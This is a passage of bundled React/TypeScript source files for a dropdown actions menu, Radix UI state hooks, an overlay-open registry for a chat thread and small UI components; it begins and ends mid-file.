than\n *  touch-momentum jitter or the sub-pixel settle right after opening. */\nconst SCROLL_DISMISS_THRESHOLD_PX = 12;\n\nexport interface ActionsMenuItemIconAction {\n\ticon: React.ReactNode;\n\t\"aria-label\": string;\n\tonClick?: () => void;\n\thref?: string;\n\topenInNewTab?: boolean;\n\tdisabled?: boolean;\n}\n\nexport interface ActionsMenuItem {\n\tid: string;\n\tlabel: string;\n\ticon?: React.ReactNode;\n\tonClick?: () => void;\n\tdisabled?: boolean;\n\ttype?: \"item\" | \"checkbox\" | \"submenu\" | \"separator\";\n\tchecked?: boolean;\n\t/**\n\t * Keep the dropdown open after this item is clicked instead of closing it\n\t * (e.g. multi-select add). Only affects ActionsMenuDropdown; `checkbox` and\n\t * `submenu` items always keep the menu open regardless. Defaults to closing.\n\t */\n\tcloseOnSelect?: boolean;\n\tsubmenu?: ActionsMenuItem[];\n\t/** Render the row in the error/destructive color (label + icon). */\n\tdanger?: boolean;\n\t/** Optional URL for navigation items */\n\thref?: string;\n\t/** Open the main-row `href` in a new tab (external app deep-links). */\n\topenInNewTab?: boolean;\n\t/**\n\t * Optional secondary action — a 40px-wide button on the right of the row\n\t * with a vertical divider. The main row keeps its primary click target;\n\t * the secondary is independently clickable (e.g. \"open in new tab\").\n\t */\n\ticonAction?: ActionsMenuItemIconAction;\n}\n\nexport interface ActionsMenuGroup {\n\tid?: string;\n\titems: ActionsMenuItem[];\n\tseparator?: boolean;\n}\n\nexport interface ActionsMenuProps {\n\tgroups: ActionsMenuGroup[];\n\tclassName?: string;\n\tonItemClick?: (item: ActionsMenuItem) => void;\n}\n\ninterface MenuItemProps {\n\titem: ActionsMenuItem;\n\tonItemClick?: (item: ActionsMenuItem) => void;\n}\n\nconst ROW_CLASSES =\n\t\"flex flex-1 min-w-0 items-center gap-[var(--spacing-system-xsf)] p-[var(--spacing-system-s)] cursor-pointer transition-colors bg-ods-bg outline-none\";\nconst WRAPPER_CLASSES =\n\t\"relative flex items-stretch border-b border-ods-border last:border-b-0\";\n\nconst SECONDARY_ACTION_CLASSES =\n\t\"flex p-[var(--spacing-system-s)] shrink-0 items-center justify-center self-stretch border-l border-ods-border transition-colors hover:bg-ods-bg-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus [&_svg]:w-4 [&_svg]:h-4 md:[&_svg]:w-6 md:[&_svg]:h-6\";\n\nconst SecondaryAction: React.FC<{ action: ActionsMenuItemIconAction }> = ({ action }) => {\n\tconst handleClick = useCallback(\n\t\t(e: React.MouseEvent) => {\n\t\t\te.stopPropagation();\n\t\t\tif (action.disabled) {\n\t\t\t\te.preventDefault();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\taction.onClick?.();\n\t\t},\n\t\t[action],\n\t);\n\n\tconst classes = cn(\n\t\tSECONDARY_ACTION_CLASSES,\n\t\taction.openInNewTab && \"max-md:hidden\",\n\t\taction.disabled && \"cursor-not-allowed opacity-60 pointer-events-none\",\n\t);\n\n\tif (action.href) {\n\t\treturn (\n\t\t\t<Link\n\t\t\t\thref={action.href}\n\t\t\t\tprefetch={false}\n\t\t\t\ttarget={action.openInNewTab ? \"_blank\" : undefined}\n\t\t\t\trel={action.openInNewTab ? \"noopener noreferrer\" : undefined}\n\t\t\t\taria-label={action[\"aria-label\"]}\n\t\t\t\taria-disabled={action.disabled || undefined}\n\t\t\t\ttabIndex={action.disabled ? -1 : undefined}\n\t\t\t\tclassName={classes}\n\t\t\t\tonClick={handleClick}\n\t\t\t>\n\t\t\t\t{action.icon}\n\t\t\t</Link>\n\t\t);\n\t}\n\n\treturn (\n\t\t<button\n\t\t\ttype=\"button\"\n\t\t\taria-label={action[\"aria-label\"]}\n\t\t\tdisabled={action.disabled}\n\t\t\tclassName={classes}\n\t\t\tonClick={handleClick}\n\t\t>\n\t\t\t{action.icon}\n\t\t</button>\n\t);\n};\n\nconst MenuItem: React.FC<MenuItemProps> = ({ item, onItemClick }) => {\n\t// Submenus below portal + collide against the OWNING surface, matching the\n\t// root menu (`DropdownMenuContent`). Read unconditionally — hooks first.\n\tconst portalContainer = usePortalContainer();\n\tconst collisionBoundary = useCollisionBoundary();\n\tconst activate = useCallback(() => {\n\t\tif (item.disabled) return;\n\t\tif (item.type === \"checkbox\") {\n\t\t\titem.onClick?.();\n\t\t\tonItemClick?.(item);\n\t\t\treturn;\n\t\t}\n\t\tif (item.type === \"submenu\") return;\n\t\titem.onClick?.();\n\t\tonItemClick?.(item);\n\t}, [item, onItemClick]);\n\n\tconst handleClick = useCallback(\n\t\t(e: React.MouseEvent) => {\n\t\t\te.stopPropagation();\n\t\t\te.preventDefault();\n\t\t\tactivate();\n\t\t},\n\t\t[activate],\n\t);\n\n\tconst handleKeyDown = useCallback(\n\t\t(e: React.KeyboardEvent) => {\n\t\t\tif (e.key !== \"Enter\" && e.key !== \" \") return;\n\t\t\te.preventDefault();\n\t\t\te.stopPropagation();\n\t\t\tactivate();\n\t\t},\n\t\t[activate],\n\t);\n\n\tconst handleLinkClick = useCallback(\n\t\t(e: React.MouseEvent<HTMLAnchorElement>) => {\n\t\t\tif (item.disabled) {\n\t\t\t\te.preventDefault();\n\t\t\t\te.stopPropagation();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\titem.onClick?.();\n\t\t\tonItemClick?.(item);\n\t\t},\n\t\t[item, onItemClick],\n\t);\n\n\tif (item.type === \"separator\") {\n\t\treturn <div className=\"bg-ods-divider h-1 w-full\" />;\n\t}\n\n\tconst itemClasses = cn(\n\t\tROW_CLASSES,\n\t\titem.disabled\n\t\t\t? \"text-ods-text-secondary cursor-not-allowed pointer-events-none opacity-60\"\n\t\t\t: \"text-ods-text-primary hover:bg-ods-bg-hover\",\n\t);\n\n\tconst subTriggerClasses = cn(\n\t\titemClasses,\n\t\t\"data-[state=open]:bg-ods-bg-active focus:bg-ods-bg-hover\",\n\t);\n\n\tconst renderAsLink =\n\t\t!!item.href && item.type !== \"submenu\" && item.type !== \"checkbox\";\n\n\tconst rowContent = (\n\t\t<>\n\t\t\t{item.icon && (\n\t\t\t\t<div\n\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\"w-4 h-4 md:w-6 md:h-6 flex-shrink-0 flex items-center justify-center\",\n\t\t\t\t\t\titem.danger && \"text-ods-error\",\n\t\t\t\t\t\titem.disabled && \"opacity-50\",\n\t\t\t\t\t)}\n\t\t\t\t>\n\t\t\t\t\t{item.icon}\n\t\t\t\t</div>\n\t\t\t)}\n\n\t\t\t<span\n\t\t\t\tclassName={cn(\n\t\t\t\t\t\"flex-1 text-h4 font-medium leading-6\",\n\t\t\t\t\titem.disabled\n\t\t\t\t\t\t? \"text-ods-text-secondary\"\n\t\t\t\t\t\t: item.danger\n\t\t\t\t\t\t\t? \"text-ods-error\"\n\t\t\t\t\t\t\t: \"text-ods-text-primary\",\n\t\t\t\t)}\n\t\t\t>\n\t\t\t\t{item.label}\n\t\t\t</span>\n\n\t\t\t{item.type === \"checkbox\" && (\n\t\t\t\t<div\n\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\"w-4 h-4 md:w-6 md:h-6 flex items-center justify-center rounded-md transition-colors\",\n\t\t\t\t\t\titem.checked\n\t\t\t\t\t\t\t? \"bg-ods-accent\"\n\t\t\t\t\t\t\t: \"border-2 border-ods-border bg-transparent\",\n\t\t\t\t\t)}\n\t\t\t\t>\n\t\t\t\t\t{item.checked && (\n\t\t\t\t\t\t<Check className=\"w-3 h-3 md:w-4 md:h-4 text-ods-text-on-accent\" strokeWidth={3} />\n\t\t\t\t\t)}\n\t\t\t\t</div>\n\t\t\t)}\n\n\t\t\t{item.type === \"submenu\" && (\n\t\t\t\t<Chevron02RightIcon className=\"w-4 h-4 md:w-6 md:h-6 text-ods-text-secondary\" />\n\t\t\t)}\n\t\t</>\n\t);\n\n\tif (renderAsLink && item.href) {\n\t\treturn (\n\t\t\t<div className={WRAPPER_CLASSES}>\n\t\t\t\t<Link\n\t\t\t\t\thref={item.href}\n\t\t\t\t\tprefetch={false}\n\t\t\t\t\ttarget={item.openInNewTab ? \"_blank\" : undefined}\n\t\t\t\t\trel={item.openInNewTab ? \"noopener noreferrer\" : undefined}\n\t\t\t\t\tclassName={itemClasses}\n\t\t\t\t\tonClick={handleLinkClick}\n\t\t\t\t\taria-disabled={item.disabled}\n\t\t\t\t\ttabIndex={item.disabled ? -1 : undefined}\n\t\t\t\t>\n\t\t\t\t\t{rowContent}\n\t\t\t\t</Link>\n\t\t\t\t{item.iconAction && <SecondaryAction action={item.iconAction} />}\n\t\t\t</div>\n\t\t);\n\t}\n\n\tif (item.type === \"submenu\" && item.submenu) {\n\t\treturn (\n\t\t\t<div className={WRAPPER_CLASSES}>\n\t\t\t\t<DropdownMenuPrimitive.Sub>\n\t\t\t\t\t<DropdownMenuPrimitive.SubTrigger\n\t\t\t\t\t\tdisabled={item.disabled}\n\t\t\t\t\t\tclassName={subTriggerClasses}\n\t\t\t\t\t>\n\t\t\t\t\t\t{rowContent}\n\t\t\t\t\t</DropdownMenuPrimitive.SubTrigger>\n\t\t\t\t\t<DropdownMenuPrimitive.Portal container={portalContainer ?? undefined}>\n\t\t\t\t\t\t<DropdownMenuPrimitive.SubContent\n\t\t\t\t\t\t\tsideOffset={4}\n\t\t\t\t\t\t\t// Confine flip/shift (and the available-height this menu sizes\n\t\t\t\t\t\t\t// itself by) to the owning surface — see `useCollisionBoundary`.\n\t\t\t\t\t\t\tcollisionBoundary={collisionBoundary ?? undefined}\n\t\t\t\t\t\t\tcollisionPadding={collisionBoundary ? COLLISION_PADDING_PX : undefined}\n\t\t\t\t\t\t\thideWhenDetached\n\t\t\t\t\t\t\tclassName=\"z-[1500] min-w-[256px] max-h-[var(--radix-popper-available-height)] bg-ods-bg border border-ods-border rounded-md shadow-xl overflow-y-auto p-0\"\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t{item.submenu.map((subItem, index) => (\n\t\t\t\t\t\t\t\t<MenuItem\n\t\t\t\t\t\t\t\t\tkey={subItem.id || index}\n\t\t\t\t\t\t\t\t\titem={subItem}\n\t\t\t\t\t\t\t\t\tonItemClick={onItemClick}\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t))}\n\t\t\t\t\t\t</DropdownMenuPrimitive.SubContent>\n\t\t\t\t\t</DropdownMenuPrimitive.Portal>\n\t\t\t\t</DropdownMenuPrimitive.Sub>\n\t\t\t\t{item.iconAction && <SecondaryAction action={item.iconAction} />}\n\t\t\t</div>\n\t\t);\n\t}\n\n\treturn (\n\t\t<div className={WRAPPER_CLASSES}>\n\t\t\t<div\n\t\t\t\trole=\"menuitem\"\n\t\t\t\ttabIndex={item.disabled ? -1 : 0}\n\t\t\t\taria-disabled={item.disabled}\n\t\t\t\tclassName={itemClasses}\n\t\t\t\tonClick={handleClick}\n\t\t\t\tonKeyDown={handleKeyDown}\n\t\t\t>\n\t\t\t\t{rowContent}\n\t\t\t</div>\n\t\t\t{item.iconAction && <SecondaryAction action={item.iconAction} />}\n\t\t</div>\n\t);\n};\n\nconst GroupSeparator: React.FC = () => (\n\t<div className=\"bg-ods-bg-surface h-[3px] w-full\" />\n);\n\nexport const ActionsMenu: React.FC<ActionsMenuProps> = ({\n\tgroups,\n\tclassName = \"\",\n\tonItemClick,\n}) => {\n\treturn (\n\t\t<div\n\t\t\tclassName={`relative min-w-[256px] max-h-[var(--radix-popper-available-height)] bg-ods-bg border border-ods-border rounded-md shadow-lg overflow-y-auto ${className}`}\n\t\t>\n\t\t\t{groups.map((group, groupIndex) => {\n\t\t\t\tconst groupKey = group.id || group.items.map((i) => i.id).join(\"|\");\n\t\t\t\treturn (\n\t\t\t\t\t<React.Fragment key={groupKey}>\n\t\t\t\t\t\t{group.items.map((item, itemIndex) => (\n\t\t\t\t\t\t\t<MenuItem\n\t\t\t\t\t\t\t\tkey={item.id || `${groupKey}-${itemIndex}`}\n\t\t\t\t\t\t\t\titem={item}\n\t\t\t\t\t\t\t\tonItemClick={onItemClick}\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t))}\n\t\t\t\t\t\t{group.separator && groupIndex < groups.length - 1 && (\n\t\t\t\t\t\t\t<GroupSeparator />\n\t\t\t\t\t\t)}\n\t\t\t\t\t</React.Fragment>\n\t\t\t\t);\n\t\t\t})}\n\t\t</div>\n\t);\n};\n\nexport interface ActionsMenuDropdownProps extends ActionsMenuProps {\n\ttrigger?: React.ReactNode;\n\t/** Replace the entire default trigger button. When set, rendered directly as the DropdownMenuTrigger child. */\n\tcustomTrigger?: React.ReactNode;\n\ttriggerAriaLabel?: string;\n\ttriggerClassName?: string;\n\tcontentClassName?: string;\n\talign?: \"start\" | \"center\" | \"end\";\n\tside?: \"top\" | \"right\" | \"bottom\" | \"left\";\n\tsideOffset?: number;\n\t/** Controlled open state. Pair with `onOpenChange`. Uncontrolled by default. */\n\topen?: boolean;\n\t/** Open-state change handler (also fires when an item closes the menu). */\n\tonOpenChange?: (open: boolean) => void;\n\t/** Forwarded to the dropdown content — e.g. `e.preventDefault()` to stop\n\t *  Radix returning focus (and its focus ring) to the trigger on close. */\n\tonCloseAutoFocus?: (event: Event) => void;\n}\n\nexport const ActionsMenuDropdown: React.FC<ActionsMenuDropdownProps> = ({\n\tgroups,\n\tonItemClick,\n\tclassName,\n\ttrigger,\n\tcustomTrigger,\n\ttriggerAriaLabel = \"More actions\",\n\ttriggerClassName,\n\tcontentClassName,\n\talign = \"end\",\n\tside = \"bottom\",\n\tsideOffset = 6,\n\topen: openProp,\n\tonOpenChange,\n\tonCloseAutoFocus,\n}) => {\n\tconst [open = false, setOpen] = useControllableState({\n\t\tprop: openProp,\n\t\tdefaultProp: false,\n\t\tonChange: onOpenChange,\n\t});\n\n\t// Tell the surrounding surface an overlay is open, so it can stop moving\n\t// the ground under it (the chat thread suspends its follow-the-bottom\n\t// auto-scroll — see `OverlayOpenRegistryProvider`). Inert without a\n\t// provider, so menus elsewhere are unaffected.\n\tuseReportOverlayOpen(open);\n\n\t// Dismiss once the USER scrolls the trigger away.\n\t//\n\t// Two different situations, two different answers. Content moving on its own\n\t// (a streaming reply) is handled above by suspending the auto-scroll — the\n\t// menu must survive that, nobody asked for it to close. A deliberate scroll\n\t// is the opposite: the reader left, and an anchored menu would ride along\n\t// until it hovers over unrelated chrome. `hideWhenDetached` only kicks in\n\t// once the trigger is FULLY clipped, so a half-scrolled trigger still drags\n\t// a visible menu across the header.\n\t//\n\t// Scoped deliberately:\n\t//   • only scrolls of containers that actually contain the trigger — a\n\t//     scroll in a neighbouring column is none of our business;\n\t//   • only past `SCROLL_DISMISS_THRESHOLD_PX` of movement, so touch\n\t//     momentum and the ~1px settle after opening don't close the menu the\n\t//     user is reaching for.\n\tconst triggerRef = React.useRef<HTMLButtonElement | null>(null);\n\tReact.useEffect(() => {\n\t\tif (!open) return;\n\t\tif (typeof document === \"undefined\") return;\n\t\tconst trigger = triggerRef.current;\n\t\tif (!trigger) return;\n\t\tconst anchorTop = trigger.getBoundingClientRect().top;\n\t\tconst onScroll = (event: Event) => {\n\t\t\tconst target = event.target as Node | null;\n\t\t\t// `document` fires for the page scroll and contains everything.\n\t\t\tconst scrolledTheTrigger =\n\t\t\t\ttarget === document ||\n\t\t\t\t(target instanceof Node && target.contains(trigger));\n\t\t\tif (!scrolledTheTrigger) return;\n\t\t\tconst moved = Math.abs(trigger.getBoundingClientRect().top - anchorTop);\n\t\t\tif (moved > SCROLL_DISMISS_THRESHOLD_PX) setOpen(false);\n\t\t};\n\t\tdocument.addEventListener(\"scroll\", onScroll, { capture: true, passive: true });\n\t\treturn () =>\n\t\t\tdocument.removeEventListener(\"scroll\", onScroll, { capture: true });\n\t}, [open, setOpen]);\n\n\tconst handleItemClick = useCallback(\n\t\t(item: ActionsMenuItem) => {\n\t\t\tonItemClick?.(item);\n\t\t\tif (\n\t\t\t\titem.type !== \"checkbox\" &&\n\t\t\t\titem.type !== \"submenu\" &&\n\t\t\t\titem.closeOnSelect !== false\n\t\t\t) {\n\t\t\t\tsetOpen(false);\n\t\t\t}\n\t\t},\n\t\t[onItemClick, setOpen],\n\t);\n\n\treturn (\n\t\t<DropdownMenu open={open} onOpenChange={setOpen} modal={false}>\n\t\t\t<DropdownMenuTrigger asChild ref={triggerRef}>\n\t\t\t\t{customTrigger ?? (\n\t\t\t\t\t<Button\n\t\t\t\t\t\tvariant=\"outline\"\n\t\t\t\t\t\tsize=\"icon\"\n\t\t\t\t\t\taria-label={triggerAriaLabel}\n\t\t\t\t\t\tclassName={\n\t\t\t\t\t\t\ttriggerClassName ||\n\t\t\t\t\t\t\t\"bg-ods-card border-ods-border hover:bg-ods-bg-hover flex items-center justify-center focus-visible:ring-0\"\n\t\t\t\t\t\t}\n\t\t\t\t\t\tleftIcon={\n\t\t\t\t\t\t\ttrigger ?? (\n\t\t\t\t\t\t\t\t<Ellipsis01Icon size={24} className=\"text-ods-text-primary\" />\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t}\n\t\t\t\t\t/>\n\t\t\t\t)}\n\t\t\t</DropdownMenuTrigger>\n\t\t\t<DropdownMenuContent\n\t\t\t\talign={align}\n\t\t\t\tside={side}\n\t\t\t\tsideOffset={sideOffset}\n\t\t\t\tonCloseAutoFocus={onCloseAutoFocus}\n\t\t\t\tclassName={cn(\n\t\t\t\t\t\"p-0 border-0 bg-transparent shadow-none overflow-visible\",\n\t\t\t\t\tcontentClassName,\n\t\t\t\t)}\n\t\t\t>\n\t\t\t\t<ActionsMenu\n\t\t\t\t\tgroups={groups}\n\t\t\t\t\tonItemClick={handleItemClick}\n\t\t\t\t\tclassName={className}\n\t\t\t\t/>\n\t\t\t</DropdownMenuContent>\n\t\t</DropdownMenu>\n\t);\n};\n\nexport default ActionsMenu;\n","import * as React from 'react';\nimport { IS_DEVELOPMENT } from '@radix-ui/primitive/is-development';\nimport { useLayoutEffect } from '@radix-ui/react-use-layout-effect';\n\n// Prevent bundlers from trying to optimize the import\nconst useInsertionEffect: typeof useLayoutEffect =\n  (React as any)[' useInsertionEffect '.trim().toString()] || useLayoutEffect;\n\ntype ChangeHandler<T> = (state: T) => void;\ntype SetStateFn<T> = React.Dispatch<React.SetStateAction<T>>;\n\ninterface UseControllableStateParams<T> {\n  prop?: T | undefined;\n  defaultProp: T;\n  onChange?: ChangeHandler<T>;\n  caller?: string;\n}\n\nexport function useControllableState<T>({\n  prop,\n  defaultProp,\n  onChange = () => {},\n  caller,\n}: UseControllableStateParams<T>): [T, SetStateFn<T>] {\n  const [uncontrolledProp, setUncontrolledProp, onChangeRef] = useUncontrolledState({\n    defaultProp,\n    onChange,\n  });\n  const isControlled = prop !== undefined;\n  const value = isControlled ? prop : uncontrolledProp;\n\n  // OK to disable conditionally calling hooks here because they will always run\n  // consistently in the same environment. Bundlers should be able to remove the\n  // code block entirely in production.\n  /* eslint-disable react-hooks/rules-of-hooks */\n  if (IS_DEVELOPMENT) {\n    const isControlledRef = React.useRef(prop !== undefined);\n    React.useEffect(() => {\n      const wasControlled = isControlledRef.current;\n      if (wasControlled !== isControlled) {\n        const from = wasControlled ? 'controlled' : 'uncontrolled';\n        const to = isControlled ? 'controlled' : 'uncontrolled';\n        console.warn(\n          `${caller} is changing from ${from} to ${to}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`,\n        );\n      }\n      isControlledRef.current = isControlled;\n    }, [isControlled, caller]);\n  }\n  /* eslint-enable react-hooks/rules-of-hooks */\n\n  const setValue = React.useCallback<SetStateFn<T>>(\n    (nextValue) => {\n      if (isControlled) {\n        const value = isFunction(nextValue) ? nextValue(prop) : nextValue;\n        if (value !== prop) {\n          onChangeRef.current?.(value);\n        }\n      } else {\n        setUncontrolledProp(nextValue);\n      }\n    },\n    [isControlled, prop, setUncontrolledProp, onChangeRef],\n  );\n\n  return [value, setValue];\n}\n\nfunction useUncontrolledState<T>({\n  defaultProp,\n  onChange,\n}: Omit<UseControllableStateParams<T>, 'prop'>): [\n  Value: T,\n  setValue: React.Dispatch<React.SetStateAction<T>>,\n  OnChangeRef: React.RefObject<ChangeHandler<T> | undefined>,\n] {\n  const [value, setValue] = React.useState(defaultProp);\n  const prevValueRef = React.useRef(value);\n\n  const onChangeRef = React.useRef(onChange);\n  useInsertionEffect(() => {\n    onChangeRef.current = onChange;\n  }, [onChange]);\n\n  React.useEffect(() => {\n    if (prevValueRef.current !== value) {\n      onChangeRef.current?.(value);\n      prevValueRef.current = value;\n    }\n  }, [value, prevValueRef]);\n\n  return [value, setValue, onChangeRef];\n}\n\nfunction isFunction(value: unknown): value is (...args: any[]) => any {\n  return typeof value === 'function';\n}\n","export const IS_DEVELOPMENT = false;\n","import * as React from 'react';\n\n/**\n * On the server, React emits a warning when calling `useLayoutEffect`.\n * This is because neither `useLayoutEffect` nor `useEffect` run on the server.\n * We use this safe version which suppresses the warning by replacing it with a noop on the server.\n *\n * See: https://reactjs.org/docs/hooks-reference.html#uselayouteffect\n */\nconst useLayoutEffect = globalThis?.document ? React.useLayoutEffect : () => {};\n\nexport { useLayoutEffect };\n","import * as React from 'react';\nimport { IS_DEVELOPMENT } from '@radix-ui/primitive/is-development';\nimport { useEffectEvent } from '@radix-ui/react-use-effect-event';\n\ntype ChangeHandler<T> = (state: T) => void;\n\ninterface UseControllableStateParams<T> {\n  prop: T | undefined;\n  defaultProp: T;\n  onChange: ChangeHandler<T> | undefined;\n  caller: string;\n}\n\ninterface AnyAction {\n  type: string;\n}\n\nconst SYNC_STATE = Symbol('RADIX:SYNC_STATE');\n\ninterface SyncStateAction<T> {\n  type: typeof SYNC_STATE;\n  state: T;\n}\n\nexport function useControllableStateReducer<T, S extends {}, A extends AnyAction>(\n  reducer: (prevState: S & { state: T }, action: A) => S & { state: T },\n  userArgs: UseControllableStateParams<T>,\n  initialState: S,\n): [S & { state: T }, React.Dispatch<A>];\n\nexport function useControllableStateReducer<T, S extends {}, I, A extends AnyAction>(\n  reducer: (prevState: S & { state: T }, action: A) => S & { state: T },\n  userArgs: UseControllableStateParams<T>,\n  initialArg: I,\n  init: (i: I & { state: T }) => S,\n): [S & { state: T }, React.Dispatch<A>];\n\nexport function useControllableStateReducer<T, S extends {}, A extends AnyAction>(\n  reducer: (prevState: S & { state: T }, action: A) => S & { state: T },\n  userArgs: UseControllableStateParams<T>,\n  initialArg: any,\n  init?: (i: any) => Omit<S, 'state'>,\n): [S & { state: T }, React.Dispatch<A>] {\n  const { prop: controlledState, defaultProp, onChange: onChangeProp, caller } = userArgs;\n  const isControlled = controlledState !== undefined;\n\n  const onChange = useEffectEvent(onChangeProp);\n\n  // OK to disable conditionally calling hooks here because they will always run\n  // consistently in the same environment. Bundlers should be able to remove the\n  // code block entirely in production.\n  /* eslint-disable react-hooks/rules-of-hooks */\n  if (IS_DEVELOPMENT) {\n    const isControlledRef = React.useRef(controlledState !== undefined);\n    React.useEffect(() => {\n      const wasControlled = isControlledRef.current;\n      if (wasControlled !== isControlled) {\n        const from = wasControlled ? 'controlled' : 'uncontrolled';\n        const to = isControlled ? 'controlled' : 'uncontrolled';\n        console.warn(\n          `${caller} is changing from ${from} to ${to}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`,\n        );\n      }\n      isControlledRef.current = isControlled;\n    }, [isControlled, caller]);\n  }\n  /* eslint-enable react-hooks/rules-of-hooks */\n\n  type InternalState = S & { state: T };\n  const args: [InternalState] = [{ ...initialArg, state: defaultProp }];\n  if (init) {\n    // @ts-expect-error\n    args.push(init);\n  }\n\n  const [internalState, dispatch] = React.useReducer(\n    (state: InternalState, action: A | SyncStateAction<T>): InternalState => {\n      if (action.type === SYNC_STATE) {\n        return { ...state, state: action.state };\n      }\n\n      const next = reducer(state, action);\n      if (isControlled && !Object.is(next.state, state.state)) {\n        onChange(next.state);\n      }\n      return next;\n    },\n    ...args,\n  );\n\n  const uncontrolledState = internalState.state;\n  const prevValueRef = React.useRef(uncontrolledState);\n  React.useEffect(() => {\n    if (prevValueRef.current !== uncontrolledState) {\n      prevValueRef.current = uncontrolledState;\n      if (!isControlled) {\n        onChange(uncontrolledState);\n      }\n    }\n  }, [uncontrolledState, prevValueRef, isControlled]);\n\n  const state = React.useMemo(() => {\n    const isControlled = controlledState !== undefined;\n    if (isControlled) {\n      return { ...internalState, state: controlledState };\n    }\n\n    return internalState;\n  }, [internalState, controlledState]);\n\n  React.useEffect(() => {\n    // Sync internal state for controlled components so that reducer is called\n    // with the correct state values\n    if (isControlled && !Object.is(controlledState, internalState.state)) {\n      dispatch({ type: SYNC_STATE, state: controlledState });\n    }\n  }, [controlledState, internalState.state, isControlled]);\n\n  return [state, dispatch as React.Dispatch<A>];\n}\n","/* eslint-disable react-hooks/rules-of-hooks */\nimport { useLayoutEffect } from '@radix-ui/react-use-layout-effect';\nimport * as React from 'react';\n\ntype AnyFunction = (...args: any[]) => any;\n\n// See https://github.com/webpack/webpack/issues/14814\nconst useReactEffectEvent = (React as any)[' useEffectEvent '.trim().toString()];\nconst useReactInsertionEffect = (React as any)[' useInsertionEffect '.trim().toString()];\n\n/**\n * Designed to approximate the behavior on `experimental_useEffectEvent` as best\n * as possible until its stable release, and back-fill it as a shim as needed.\n */\nexport function useEffectEvent<T extends AnyFunction>(callback?: T): T {\n  if (typeof useReactEffectEvent === 'function') {\n    return useReactEffectEvent(callback);\n  }\n\n  const ref = React.useRef<AnyFunction | undefined>(() => {\n    throw new Error('Cannot call an event handler while rendering.');\n  });\n  // See https://github.com/webpack/webpack/issues/14814\n  if (typeof useReactInsertionEffect === 'function') {\n    useReactInsertionEffect(() => {\n      ref.current = callback;\n    });\n  } else {\n    useLayoutEffect(() => {\n      ref.current = callback;\n    });\n  }\n\n  // https://github.com/facebook/react/issues/19240\n  return React.useMemo(() => ((...args) => ref.current?.(...args)) as T, []);\n}\n","'use client'\n\n/**\n * A surface-scoped count of overlays (⋯ menus, popovers) currently open INSIDE\n * that surface, so the surface can suspend behaviour that would move the ground\n * under them.\n *\n * ## Why\n *\n * An open menu stays anchored to its trigger. In a chat thread the ground moves\n * on its own: a streaming reply grows the transcript and the auto-scroll follows\n * the bottom, carrying the trigger — and its menu — upward until the menu is\n * pinned to an off-screen anchor at the panel edge, visually detached from the\n * card it belongs to.\n *\n * The honest fix is not to dismiss the menu on every scroll event (that breaks\n * touch, where momentum scrolling fires constantly) but to stop pulling the\n * ground: while an overlay is open the thread stops chasing the bottom, exactly\n * how ChatGPT/Claude stop chasing once you interact with the transcript. When\n * the overlay closes, the thread catches up if it was at the bottom before.\n *\n * ## Wiring\n *\n * Surface: wrap the region in `<OverlayOpenRegistryProvider onOpenChange={…}>`.\n * Overlay: call `useReportOverlayOpen(open)`. No provider → the hook is inert,\n * so overlays outside such a surface behave exactly as before.\n */\n\nimport * as React from 'react'\n\nexport interface OverlayOpenRegistry {\n  /** Register one open overlay; call the returned fn to release it. */\n  acquire: () => () => void\n}\n\nexport const OverlayOpenRegistryContext =\n  React.createContext<OverlayOpenRegistry | null>(null)\n\n/** Read the surrounding registry (or `null` when there is no provider). */\nexport function useOverlayOpenRegistry(): OverlayOpenRegistry | null {\n  return React.useContext(OverlayOpenRegistryContext)\n}\n\n/**\n * Report this overlay's open state to the surrounding surface. Safe to call\n * unconditionally — with no provider it does nothing.\n */\nexport function useReportOverlayOpen(open: boolean): void {\n  const registry = useOverlayOpenRegistry()\n  React.useEffect(() => {\n    if (!open || !registry) return\n    return registry.acquire()\n  }, [open, registry])\n}\n\nexport interface OverlayOpenRegistryProviderProps {\n  /** Fires on 0 → 1 and 1 → 0 transitions only, not on every acquire. */\n  onOpenChange?: (hasOpenOverlay: boolean) => void\n  children: React.ReactNode\n}\n\n/**\n * Owns the count for one surface. The context value is referentially stable, so\n * mounting this provider does not re-render overlays when the count changes —\n * only the surface's own `onOpenChange` callback fires.\n */\nexport function OverlayOpenRegistryProvider({\n  onOpenChange,\n  children,\n}: OverlayOpenRegistryProviderProps) {\n  const countRef = React.useRef(0)\n  const onOpenChangeRef = React.useRef(onOpenChange)\n  onOpenChangeRef.current = onOpenChange\n\n  const registry = React.useMemo<OverlayOpenRegistry>(\n    () => ({\n      acquire: () => {\n        countRef.current += 1\n        if (countRef.current === 1) onOpenChangeRef.current?.(true)\n        let released = false\n        return () => {\n          // Guard against a double release (StrictMode double-invokes effect\n          // cleanups in development) driving the count negative.\n          if (released) return\n          released = true\n          countRef.current -= 1\n          if (countRef.current === 0) onOpenChangeRef.current?.(false)\n        }\n      },\n    }),\n    [],\n  )\n\n  return (\n    <OverlayOpenRegistryContext.Provider value={registry}>\n      {children}\n    </OverlayOpenRegistryContext.Provider>\n  )\n}\n","import { cn } from '../../utils/cn'\n\nexport interface ColorSwatchProps {\n  color: string\n  className?: string\n}\n\n/** Square color preview shared across color and status selectors. */\nexport function ColorSwatch({ color, className }: ColorSwatchProps) {\n  return (\n    <span\n      aria-hidden\n      className={cn('inline-block size-4 shrink-0 rounded-sm', className)}\n      style={{ backgroundColor: color }}\n    />\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as TooltipPrimitive from \"@radix-ui/react-tooltip\"\nimport { cn } from \"../../utils/cn\"\nimport { usePortalContainer } from \"./portal-container\"\n\nconst TooltipProvider = TooltipPrimitive.Provider\n\nconst Tooltip = TooltipPrimitive.Root\n\nconst TooltipTrigger = TooltipPrimitive.Trigger\n\nconst TooltipContent = React.forwardRef<\n  React.ElementRef<typeof TooltipPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => {\n  // Portal into the active container (e.g. a drawer) so the 